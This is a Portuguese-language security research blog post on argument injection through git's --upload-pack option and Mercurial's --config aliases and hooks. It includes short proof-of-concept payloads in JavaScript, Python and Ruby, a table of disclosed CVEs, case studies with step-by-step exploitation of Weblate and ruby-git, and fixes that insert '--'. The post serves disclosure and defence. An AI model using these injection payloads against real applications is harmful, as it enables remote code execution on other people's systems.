Skip to main content

Redescobrindo a injeção de argumentos ao usar ferramentas de VCS — git e mercurial

Escrito por
Headshot of Alessio Della Libera

Alessio Della Libera

feature argument injection

23 de agosto de 2022

0 minutos de leitura

Um dos principais objetivos desta pesquisa foi explorar como é possível executar comandos arbitrários mesmo usando uma API segura que impede a injeção de comandos. O foco são ferramentas de sistema de controle de versão (VCS), como git e hg (mercurial), que, entre outras opções, permitem a execução de comandos arbitrários (em determinadas circunstâncias).

Os alvos desta pesquisa são aplicações web e projetos de bibliotecas (escritos em qualquer linguagem de programação) que chamam esses comandos usando uma API segura. Não incluímos projetos de CLI nem projetos que chamam esses comandos usando dados provenientes de fontes armazenadas, como arquivos de configuração.

Nesta publicação, mostramos situações comuns em que, mesmo usando uma API segura, é possível executar comandos arbitrários por meio da injeção de opções de argumentos. Também apresentamos exemplos de correção e sugestões para mantenedores de projetos de código aberto.

Contexto sobre injeção de argumentos

Considere a seguinte situação: um desenvolvedor quer chamar comandos do git ou hg no diretório do projeto para interagir com repositórios. No entanto, valores controlados pelo usuário são usados como parâmetros desses comandos (permitindo que os usuários especifiquem a URL do repositório, o nome da branch etc.). Como o desenvolvedor conhece a vulnerabilidade de injeção de comandos, decide usar uma API segura para executar comandos do shell. Por exemplo, se o projeto usa Node.js, a API spawn do módulo child_process impede a injeção de comandos quando chamada da seguinte maneira:

spawn([“command”, “-option1”, user_input, user_input’)

Mas isso nem sempre acontece. Como veremos em breve, isso também depende do comando chamado por essas APIs. Se quiser saber mais sobre injeção de argumentos, este artigo de Staaldraad é uma ótima referência.

Por que devemos nos preocupar com o git?

Alguns subcomandos do git têm opções que permitem ao usuário especificar quais programas/comandos serão executados. Um exemplo é a opção --upload-pack, disponível nos seguintes subcomandos do git:

Vamos considerar, por exemplo, os subcomandos git fetch, ls-remote e pull, que implementam a opção --upload-pack.

Dependendo do comando, há argumentos obrigatórios, seguidos de argumentos opcionais. Por exemplo, git fetch exige pelo menos um argumento, ou seja, um repositório, seguido por refspec e um conjunto de opções.

Executar os comandos a seguir em um terminal executará o comando de shell touch HELLO:

git ls-remote --upload-pack="touch HELLO1" master
git fetch origin --upload-pack="touch HELLO2" // git init first or in a git project
git pull origin --upload-pack="touch HELLO3" // git init first or in a git project

Como é o código vulnerável com “git”?

Para demonstrar essa vulnerabilidade, vou usar JavaScript e Python. Para manter os exemplos curtos, vamos supor que os valores de url e branch são controlados pelo usuário e não são sanitizados corretamente.

O exemplo a seguir mostra como ainda é possível executar código arbitrário, mesmo usando uma API segura que protege contra as formas clássicas de injeção de comandos:

JavaScript (NodeJS)

const cp = require("child_process")
url = "--upload-pack=touch HELLO_JS"
branch = "foo"
cp.spawn("git", ["ls-remote", url, branch])
cp.spawn("git", ["ls-remote", "& touch NOT_WORKING;", "foo"])

A última linha mostra que um payload comum de injeção de comandos (ou seja, um payload com caracteres especiais como ; & | , etc. para encadear comandos) não funciona.

Python

import subprocess
url = "--upload-pack=touch HELLO_PY"
branch = "foo"

subprocess.Popen(["git", "ls-remote", url, branch], shell=False)

É importante observar que as situações acima podem levar à execução de comandos se os argumentos obrigatórios dos subcomandos correspondentes do git forem fornecidos. Por exemplo, se apenas um argumento for passado ao subcomando git ls-remote, sem outros argumentos, as situações anteriores não funcionarão:

JavaScript (NodeJS)

const cp = require("child_process")
url = "--upload-pack=touch HELLO_JS"
cp.spawn("git", ["ls-remote", url])
// fatal: No remote configured to list refs from.

Isso acontece porque o único argumento fornecido será interpretado como um repositório (no caso de git ls-remote). Se outro argumento válido for passado ao comando, voltamos ao caso anterior e ainda podemos executar código.

Sugestões de correção

Uma possível solução para as situações anteriores é adicionar -- antes dos valores controlados pelo usuário. Como explica a documentação oficial, “ao escrever um script que deve lidar com entradas aleatórias do usuário, é uma boa prática deixar explícito quais são os argumentos, colocando -- para eliminar ambiguidades nos locais apropriados”.

Por exemplo, o código a seguir não permitirá mais a execução de comandos:

const cp = require("child_process")
url = "--upload-pack=touch HELLO_JS"
branch = "foo"
cp.spawn("git", ["ls-remote", "--", url, branch])
// fatal: strange pathname '--upload-pack=touch HELLO_JS' blocked

Por que devemos nos preocupar com hg (mercurial)?

Como vimos na seção anterior, algumas condições precisam ser atendidas para executar comandos arbitrários (ou seja, os argumentos obrigatórios). No entanto, esse não é o caso do hg — o que torna a exploração muito mais fácil.

Entre as várias opções disponíveis, o mercurial permite que os usuários especifiquem aliases e hooks para cada comando (clone, init, log etc.) usando a opção –config.

Como explica a documentação do mercurial, os aliases “permitem definir seus próprios comandos com base em outros comandos (ou aliases), com a opção de incluir argumentos. Um alias pode começar com um ponto de exclamação ("!") para se tornar um alias de shell. Um alias de shell é executado pelo shell, permitindo executar comandos arbitrários. Por exemplo:

echo = !echo $@

isso permite usar "hg echo foo" para exibir "foo" no terminal.”

Já os hooks são “comandos ou funções Python executados automaticamente por várias ações, como iniciar ou concluir um commit”. São comandos executados quando determinadas condições são atendidas e podem ser executados antes (pre-<command>) ou depois (post-<command>) de outros comandos do mercurial.

Como é o código vulnerável ao usar “hg init”?

Veja um exemplo de como é possível executar comandos arbitrários quando o comando hg init recebe entradas do usuário sem sanitização.

Exemplo de alias

hg init -config=alias.init="!touch HELLO"

O comando touch HELLO será executado. Isso acontece porque um alias para o comando init é definido e executado no lugar do comando hg init.

O mesmo comando executado no código ficaria assim (como antes, vamos supor que source seja controlado pelo usuário e não seja sanitizado corretamente):

JavaScript (NodeJS)
const cp = require("child_process")

source = "--config=alias.init=!touch HELLO_JS"
cp.spawn("hg", ["init", source])
Python
import subprocess
source = "--config=alias.init=!touch HELLO_PY"
subprocess.call(["hg", "init", source])

Exemplo de hooks

hg init -config=hooks.pre-init="touch HELLO"

O comando touch HELLO será executado antes da execução do comando init (ou seja, pelas opções pre-<command>).

O mesmo comando executado no código ficaria assim:

JavaScript (NodeJS)
const cp = require("child_process")

source = "--config=hooks.pre-init=touch HELLO_JS"
cp.spawn("hg", ["init", source])
Python
import subprocess
source = "--config=hooks.pre-init=touch HELLO_PY"
subprocess.call(["hg", "init", source])

Ao contrário do caso do git, para executar comandos arbitrários, basta controlar um argumento passado aos comandos do mercurial — mesmo que ele seja o único parâmetro usado.

Sugestões de correção

Mais uma vez, podemos corrigir esse problema adicionando os caracteres -- antes dos argumentos controlados pelo usuário.

Por exemplo, a exploração a seguir não funcionará mais — ela criará uma pasta de repositório com o nome igual ao conteúdo da variável source:

const cp = require("child_process")

source = "--config=alias.init=!touch HELLO_JS"
cp.spawn("hg", ["init", "--", source])

Resultados

Problemas semelhantes já foram explorados no passado. Alguns exemplos conhecidos são os ataques de execução remota de código contra CocoaPods Trunk e Phabricator.

A tabela abaixo resume os problemas que encontramos e divulgamos como parte desta pesquisa:

Projeto

Vulnerabilidade

Comunicado/Referência

CVE

ungit

RCE

CVE-2022-25766

mozilla/pontoon

RCE

N/A

GoCD Server

RCE

CVE-2022-29184

Weblate

RCE (x2)

CVE-2022-23915

simple-git

Injeção de comandos

CVE-2022-24433

ruby-git

Injeção de comandos

CVE-2022-25648

cocoapods-downloader

Injeção de comandos

CVE-2022-24440

cocoapods-downloader

Injeção de comandos

CVE-2022-21223

Masterminds/vcs

Injeção de comandos

CVE-2022-21235

git-php

Injeção de comandos

CVE-2022-25866

libvcs

Injeção de comandos

CVE-2022-21187

workspace-tools

Injeção de comandos

CVE-2022-25865

cookiecutter

Injeção de comandos

CVE-2022-24065

hashicorp/go-getter

Injeção de comandos

CVE-2022-26945

Depois de encontrar essas vulnerabilidades, nós as comunicamos em particular aos mantenedores, seguindo nossa política de divulgação de vulnerabilidades. Quero agradecer pessoalmente a todos os mantenedores com quem entrei em contato pelo tempo dedicado e pela colaboração.

Nos estudos de caso a seguir, explicaremos como foi possível executar código remotamente e realizar injeção de comandos nesses projetos populares.

Estudo de caso: execução remota de código no Weblate

O Weblate é uma “ferramenta de localização baseada na web com integração estreita ao controle de versão”. Um usuário autenticado conseguiu executar código remotamente por meio de injeção de argumentos.

Ao adicionar novos componentes de tradução e usar repositórios mercurial, a entrada do usuário branch é usada no comando hg pull sem sanitização adequada.

O código relevante que chama o comando hg pull com valores controlados pelo usuário é:

# https://github.com/WeblateOrg/weblate/blob/0b45970ce1fb978be66ef696ff9983f1752828bc/weblate/vcs/mercurial.py#L364-L367
def update_remote(self):
    """Update remote repository."""
    self.execute(["pull", "--branch", self.branch])
    self.clean_revision_cache()

# https://github.com/WeblateOrg/weblate/blob/0b45970ce1fb978be66ef696ff9983f1752828bc/weblate/vcs/base.py#L230
def execute(
    self,
    args: List[str],
    ...
):
    ...
    try:
        self.last_output = self._popen( # <---
            args, #<--- 
            self.path,
            ...
        )
    ...
    return self.last_output

# https://github.com/WeblateOrg/weblate/blob/0b45970ce1fb978be66ef696ff9983f1752828bc/weblate/vcs/base.py#L191
@classmethod
def _popen(
    cls,
    args: List[str],
    ....
):
    """Execute the command using popen."""
    if args is None:
        raise RepositoryException(0, "Not supported functionality")
    if not fullcmd:
        args = [cls._cmd] + list(args)
    ...
    process = subprocess.run(
        args, # <---
        ...
    )
    ... 
    return process.stdout

Prova de conceito

Para executar comandos arbitrários, o usuário precisa criar um New Translation Component em um projeto de tradução, com o valor de Repository branch definido como --config=alias.pull=!id>/app/cache/static/output_rce1.txt. Nesse caso, o comando id será executado e sua saída será redirecionada para uma página disponível em http://localhost:8888/static/output_rce1.txt.

1. Faça login no aplicativo.

2. Adicione um novo projeto de tradução e clique em Save.

Formulário de criação de projeto no Weblate com campos para nome do projeto, slug da URL, site do projeto e instruções de tradução

3. Adicione um novo componente de tradução ao projeto criado, insira o payload --config=alias.pull=!id>/app/cache/static/output_rce1.txt no campo Repository Branch e clique em Continue.

Formulário de configuração de repositório do Weblate exibindo o controle de versão Mercurial, o URL de um repositório de origem e um argumento suspeito de branch do repositório antes de continuar

4. A saída do comando id estará disponível em http://localhost:8888/static/output_rce1.txt.

Navegador exibindo a saída de localhost com texto destacado que mostra UID, GID, grupos e privilégios de root

Correção

Como você pode ver, foi possível obter RCE mesmo ao lidar com repositórios git. Nesse caso, a entrada do usuário repo, sem sanitização, foi passada ao comando git ls-remote.

O mantenedor corrigiu rapidamente os dois problemas na versão 4.11.1 (consulte o Github Release). As correções para os casos de mercurial e git adicionaram os caracteres -- antes da entrada do usuário para impedir que ela fosse interpretada como argumento.

Estudo de caso: injeção de comandos no ruby-git

Ruby git é uma “biblioteca que pode ser usada para criar, ler e manipular repositórios Git por meio de chamadas de sistema ao binário git”.

Ao chamar a função fetch(remote = 'origin', opts = {}), o parâmetro remote é passado ao subcomando git fetch sem sanitização. Como vimos, git fetch é um dos subcomandos do git que aceita o argumento --upload-pack. Para saber mais sobre --upload-pack, consulte a documentação de git-fetch.

O código relevante que chama o comando git fetch com valores controlados pelo usuário é:

# https://github.com/ruby-git/ruby-git/blob/521b8e7384cd7ccf3e6c681bd904d1744ac3d70b/lib/git/base.rb#L339-L341
def fetch(remote = 'origin', opts={})
    self.lib.fetch(remote, opts)  # <---
end

# https://github.com/ruby-git/ruby-git/blob/521b8e7384cd7ccf3e6c681bd904d1744ac3d70b/lib/git/lib.rb#L879
def fetch(remote, opts)
    arr_opts = [remote]
    arr_opts << opts[:ref] if opts[:ref]
    ...
    command('fetch', arr_opts)  # <---
end

# https://github.com/ruby-git/ruby-git/blob/521b8e7384cd7ccf3e6c681bd904d1744ac3d70b/lib/git/lib.rb#L1075
def command(cmd, *opts, &block)
    ...
    with_custom_env_variables do
    command_thread = Thread.new do
        output = run_command(git_cmd, &block) # <---
        exitstatus = $?.exitstatus
    end
    command_thread.join
    end

# https://github.com/ruby-git/ruby-git/blob/521b8e7384cd7ccf3e6c681bd904d1744ac3d70b/lib/git/lib.rb#L1179
def run_command(git_cmd, &block)
    return IO.popen(git_cmd, &block) if block_given? # <---
    `#{git_cmd}`.lines.map { |l| Git::EncodingUtils.normalize_encoding(l) }.join
end

Prova de conceito

A PoC a seguir demonstra como foi possível executar comandos arbitrários:

require "git"

g = Git.init('project')

origin = "--upload-pack=touch ./HELLO1;"
g.fetch(origin, {:ref => 'some/ref/head'} )

# ls -la

Correção

O problema foi corrigido pelos mantenedores na versão 1.11.0 (versão no GitHub). Assim como no problema anterior, a correção inseriu os caracteres -- antes dos valores controlados pelo usuário.

Principais aprendizados

… para desenvolvedores

Ao executar comandos usando uma API segura — que impede a injeção de comandos e aceita valores controlados pelo usuário —, é importante garantir que esses valores não alterem o comportamento do comando por meio da injeção ou manipulação de algumas opções. Para evitar essa confusão, os caracteres -- podem ser usados para separar os argumentos dos valores controlados pelo usuário.

… para mantenedores

Se uma função ou API encapsula chamadas a comandos que aceitam valores controlados pelo usuário, vale a pena documentar esse comportamento. Assim, você evita confundir usuários que percebem que o mantenedor trata alguns problemas de sanitização (como impedir a injeção de comandos usando uma API segura), mas não outros (como quando a entrada pode ser usada como uma opção perigosa e causar um comportamento inesperado).

… para pesquisadores de segurança

Nosso foco foram os comandos git e hg, mas muitos outros funcionam de maneira semelhante. Vale lembrar que, mesmo usando APIs seguras que impedem a injeção de comandos, ainda podem surgir problemas de segurança. Tudo depende dos comandos executados. Se você encontrar problemas semelhantes (ou qualquer outra vulnerabilidade de segurança) em um projeto de código aberto apoiado pelo nosso programa, faça a denúncia pelo formulário de divulgação de vulnerabilidades da Snyk.

Referências:

Leia mais

Blog

Modelos de ponta encontraram as vulnerabilidades. Só o atacante encontrou as cadeias.

A análise estática encontrou as falhas, mas só os testes de ataque em aplicações ativas provaram como elas poderiam ser encadeadas para causar invasões. Uma comparação entre Evo COS, Claude Security e Claude Code Security.

feature insights context
Blog

Os ataques autônomos já chegaram. A defesa precisa acompanhar o ritmo.

Os atacantes autônomos estão reduzindo o tempo disponível para a defesa. Saiba como a descoberta, a correção, a validação e a prevenção contínuas ajudam as equipes de segurança a acompanhar esse ritmo.

Blog

Por que agentes de programação com IA continuam criando falhas de controle de acesso

Agentes de programação com IA podem gerar uma lógica de autorização que compila e passa pela revisão, mas permite que um tenant acesse os dados de outro. Saiba por que é difícil detectar falhas de controle de acesso e como evitá-las.